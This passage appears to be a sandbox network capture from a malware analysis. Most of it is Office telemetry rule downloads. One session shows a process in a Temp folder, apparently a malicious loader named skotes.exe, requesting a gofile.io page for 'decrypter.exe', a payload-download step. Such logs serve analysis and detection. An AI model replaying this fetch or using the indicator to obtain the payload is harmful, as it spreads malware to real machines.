2024-11-12 01:14:24 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:24 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 898deafb-901e-0048-35d2-2cb800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011424Z-16547b76f7fmbrhqhC1DFWkds80000000ey000000000g1z8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:24 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:24 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:24 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:24 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: f61ac3c5-a01e-006f-2aa0-3413cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011424Z-15869dbbcc6tjwwhhC1DFWn22800000008d0000000001kxc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:24 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:24 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:24 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:24 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 8f5c374f-101e-0046-61d2-2c91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011424Z-16547b76f7f7lhvnhC1DFWa2k00000000eu000000000e58m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:24 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:24 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:25 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:25 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 2d6c3f80-401e-0067-1fa0-3409c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011424Z-17df447cdb56mx55hC1DFWvbt4000000086g000000005xs9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:25 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49907	45.112.123.126	443	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:25 UTC	97	OUT	GET /d/bcfa72bd-ef57-4519-ad7e-6fc790a80290 HTTP/1.1 Host: gofile.io Connection: Keep-Alive
2024-11-12 01:14:26 UTC	519	IN	HTTP/1.1 200 OK Server: nginx/1.27.1 Date: Tue, 12 Nov 2024 01:14:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 502 Connection: close X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: origin X-XSS-Protection: 0 ETag: W/"1f6-UFtZGPk4LpqhuG1uxg/poG5N/wQ"
2024-11-12 01:14:26 UTC	502	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 27 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 20 2f 3e 3c 74 69 74 6c 65 3e 64 65 63 72 79 70 74 65 72 2e 65 78 65 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 6b 65 79 77 6f 72 64 73 27 20 63 6f 6e 74 65 6e 74 3d 27 67 6f 66 69 6c 65 2c 64 6f 77 6e 6c 6f 61 64 2c 75 70 6c 6f 61 64 2c 66 72 65 65 2c 68 6f 73 74 2c 73 74 6f 72 61 67 65 2c 73 68 61 72 65 2c 6c 61 72 67 65 2c 66 69 6c 65 2c 76 69 64 65 6f 2c 69 6d 61 67 65 2c 61 75 64 69 6f 2c 63 64 6e 2c 64 69 72 65 63 74 2c 6c 69 6e 6b 27 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 64 65 73 63 72 69 70 74 69 6f 6e 27 20 63 6f 6e 74 65 6e 74 3d 27 38 32 2e 35 20 4d Data Ascii: <!DOCTYPE html><html lang='en'><head><meta charset='utf-8' /><title>decrypter.exe</title><meta name='keywords' content='gofile,download,upload,free,host,storage,share,large,file,video,image,audio,cdn,direct,link' /><meta name='description' content='82.5 M

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:25 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:25 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:25 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 4900ad29-701e-0098-5ea0-34395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011425Z-17df447cdb5c9wvxhC1DFWn08n0000000bk000000000dd68 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:25 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:25 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:25 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:25 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: cfe108d0-801e-0035-77a0-34752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011425Z-15869dbbcc6vr5dxhC1DFWyw4g000000010g00000000bepp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:25 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:25 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:25 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:25 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 09d23618-001e-000b-0deb-2b15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011425Z-16547b76f7fmbrhqhC1DFWkds80000000ez000000000btk3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:25 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:25 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:25 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:25 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 524abde6-c01e-007a-10d2-2cb877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011425Z-16547b76f7f7rtshhC1DFWrtqn0000000eyg00000000d81n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:25 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:25 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:26 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:26 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a482c8cb-c01e-007a-66a0-34b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011426Z-17df447cdb5l865xhC1DFW9n7g000000082g00000000kcny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:26 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:26 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:26 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:26 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 6c085788-c01e-0049-72a0-34ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011426Z-17df447cdb57srlrhC1DFWwgas0000000bn0000000009228 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:26 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:26 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:26 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:26 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 6faec6d6-f01e-001f-01af-315dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011426Z-16547b76f7fvllnfhC1DFWxkg80000000ev000000000sr40 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:26 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 